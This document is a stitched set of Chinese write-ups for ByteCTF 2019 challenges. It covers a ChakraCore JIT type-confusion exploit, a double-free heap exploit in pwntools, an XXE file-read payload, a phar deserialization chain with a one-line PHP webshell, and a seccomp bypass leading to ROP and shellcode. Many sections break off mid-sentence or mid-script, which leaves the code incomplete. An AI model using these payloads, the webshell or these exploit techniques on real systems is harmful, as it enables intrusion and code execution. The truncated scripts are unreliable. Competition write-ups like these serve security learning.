ByteCTF 2019 childjsPoints: 740 Solved: 8nc 112.126.101.96 1338
非常典型的 JavaScript JIT 引擎类型混淆(Type confusion)漏洞。
这道题目基于CVE 2019-0567 / CVE 2019-0539,涉及微软 Edge 浏览器的 JavaScript 引擎Chakra。
下面是题目的 diff:
diff -uNr ChakraCore_bak/lib/Backend/GlobOptFields.cpp ChakraCore/lib/Backend/GlobOptFields.cpp--- ChakraCore_bak/lib/Backend/GlobOptFields.cpp 2019-04-24 10:14:24.012350694 +0800+++ ChakraCore/lib/Backend/GlobOptFields.cpp 2019-04-24 10:16:11.197823797 +0800@@ -482,7 +482,6 @@break;case Js::OpCode::InitClass:- case Js::OpCode::InitProto:case Js::OpCode::NewScObjectNoCtor:if (inGlobOpt){
经过改动后,Chakra引擎会认为,InitProto指令码的执行过程中不产生任何副作用,而实际上InitProto执行过程中,参数的对象类型会发生改变。
经过JIT优化编译后,Chakra引擎会移除检查对象类型是否一致的代码。攻击者可以通过旧类型的操作访问新类型对象内存区域以外的数据,实现内存越界读写。
详细的漏洞原理可以参考利用脚本中的链接。
我们利用了两个DataView对象。通过类型混淆,我们可以修改DataView对象内部指向读写缓冲区的指针,实现对任意内存地址读写。我们首先泄漏DataView对象内部的vtable指针,从而泄漏libChakraCore.so基地址,然后再进
ByteCTF 2019 mulnotePoints: 249 Solved: 49nc 112.126.101.96 9999
代码有混淆,不过很容易看出是条件竞争漏洞。
释放 chunk 时使用了多线程。调用free函数与清空 chunk 指针之间相隔了整整10秒,能够触发 double free。
先用unsorted bin泄漏libc基地址,然后利用 fastbin attack 向__malloc_hook写入 one_gadget,实现 getshell。
# -*- coding:utf-8 -*-from pwn import *import timecontext(log_level='debug')p = process('./mulnote')#p = remote("112.126.101.96", 9999)def add(sz, ctx='\n'):p.sendlineafter('>', 'C')p.sendlineafter('>', str(sz))p.sendafter('>', ctx)def free(idx):p.sendlineafter('>', 'R')p.sendlineafter('>', str(idx))def show():p.sendlineafter('>', 'S')################# Unsorted bin 泄漏 libc 地址 ######################add(0x400) # idx: 0free(0)time.sleep(10) # 等待释放完成...add(0x400) # idx: 0show()p.recvuntil("[0]:\n")libc_base = u64(p.recv(6).ljust(8, '\0')) - 0x3c4b0a######################## Fastbin Attack ############################add(0x68) # idx:1add(0x68) # idx:2free(1)time.sleep(3
跟boring_code一样上传xml payload到百度云,很容易fuzz出xxe。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE rss [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php">]><rss version="2.0"xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>先知安全技术社区</title><link>http://xz.aliyun.com/forum/</link><description>先知安全技术社区</description><atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link><language>zh-hans</language><lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate><item><title>利用Excel power query实现远程DDE执行</title><link>http://xz.aliyun.com/t/5514</link><description><pre>&xxe;</pre></description><pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5514</guid></item></channel></rss>
根据index.php里
/www.zip有源码。
检查admin密码:
/config.php
给出md5($secret.'adminadmin')==='52107b08c0f3342d2153ae1d68e6262c'
很明显要哈希长度扩展攻击,在密码后扩展
尽管.htaccess限制着,shell还是可以上传的。
<?php @$_REQUEST[f]($_REQUEST[x]);就能绕过$black_list。
这里出现了反序列化漏洞:
mime_content_type()如果路径是phar协议的话会对phar文件里的metadata反序列化。反序列化魔术方法只有File::__destruct:
看起来File::checker = Admin,但是还有另一处可疑的地方:
Profile::__call
ZipArchive::open恰好有两个参数,并且可以用来删除文件:
所以正确的是Profile::admin = ZipArchive; File::checker = Profile
phar协议绕过正则只需在前面加php协议:php://filter/convert.base64-encode/resource=phar://...
<?phpclass File {public $filename;public $filepath;public $checker;function __construct() {$this->checker = new Profile();}// function __destruct() {// if (isset($this->checker)) {// $this->checker->upload_file();// }// }}class Profile {public $username;public $
<?phpfunction is_valid_url($url) {if (filter_var($url, FILTER_VALIDATE_URL)) {if (preg_match('/data:\/\//i', $url)) {return false;}return true;}return false;}if (isset($_POST['url'])){$url = $_POST['url'];if (is_valid_url($url)) {$r = parse_url($url);if (preg_match('/baidu\.com$/', $r['host'])) {$code = file_get_contents($url);if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {echo 'bye~';} else {eval($code);}}} else {echo "error: host not allowed";}} else {echo "error: invalid url";}}else{highlight_file(__FILE__);}
把payload上传百度云,然后按f12点文件按流量,就能找到一个类似的url:
https
vip函数中输入名字的时候可以覆盖部分的bpf,研究了一下seccomp-tools,发现除了ALLOW和KILL,还可以有一种ERRNO的规则,尝试以后发现可以把open的返回值变成0,这样在edit函数中就可以把让fd返回0,变成从标准输入读入任意长度的内容了。
ssize_t __fastcall read_into(void *a1, int a2){int fd; // [rsp+1Ch] [rbp-4h]if ( dword_4040E0 )return read(0, a1, a2);fd = open("/dev/urandom", 0);if ( fd == -1 )exit(0);return read(fd, a1, a2);}
试了几次发现用以下的规则通过seccomp-tools编译过后可以达到这种效果:
# check if arch is X86_64A = sys_numberA == openat ? ok : nextreturn ALLOWok:return ERRNO(0)
需要注意的是,libc中open函数的系统调用号实际上是openat而不是open。有了这个堆溢出就能做tcache posion返回任意地址了。这次的思路是先通过got泄露libc地址,然后通过environ泄露栈地址,算好edit函数的返回地址,做一个简单rop用mprotect打开堆上的执行权限,然后直接调到堆上准备好的cat flag shellcode。不能直接execve或者system getshell,因为这些调用都需要open libc之类的操作,而open的系统调用已经被我们劫持了所以没法使用。
from pwn import *import recontext.terminal = ['tmux', 'splitw', '-h']context.arch = 'amd64'context.log_level = "debug"env = {'LD_PRELOAD': ''}if len(sys.argv) == 1:p = proc
相当于一个猜拳游戏,刚开始想理论上最大可能跑3^30次。
试了几次发现,每次进入游戏,第一个只要输和它给的一样的,都是win。
这说明这题其实不是随机的,然后多试几次找找规律。 把它给的 jsb当做一个数组 a[]={"j","s","b"} 从第一个题目给的字母开始计数,0 2 1偏移依次循环即可。 比如说,第一个给的是b,输入b显示you win!。 第二个给的是s,s偏移2位是j,输入j显示you win! 依次类推,每三次是一个循环。 因为就三十次,刚开始手动跑出来了。
之后又写了个脚本
from pwn import *context.log_level = "debug"r = remote("112.125.25.81",9999)a = ["j","s","b"]offset = [0,2,1]for i in range(30):r.recvuntil("I will use: ")char = r.recv(1)for k in range(3):if a[k] == char:breakn = i%3index = (k+offset[n])%3payload = a[index]r.sendline(payload)r.interactive()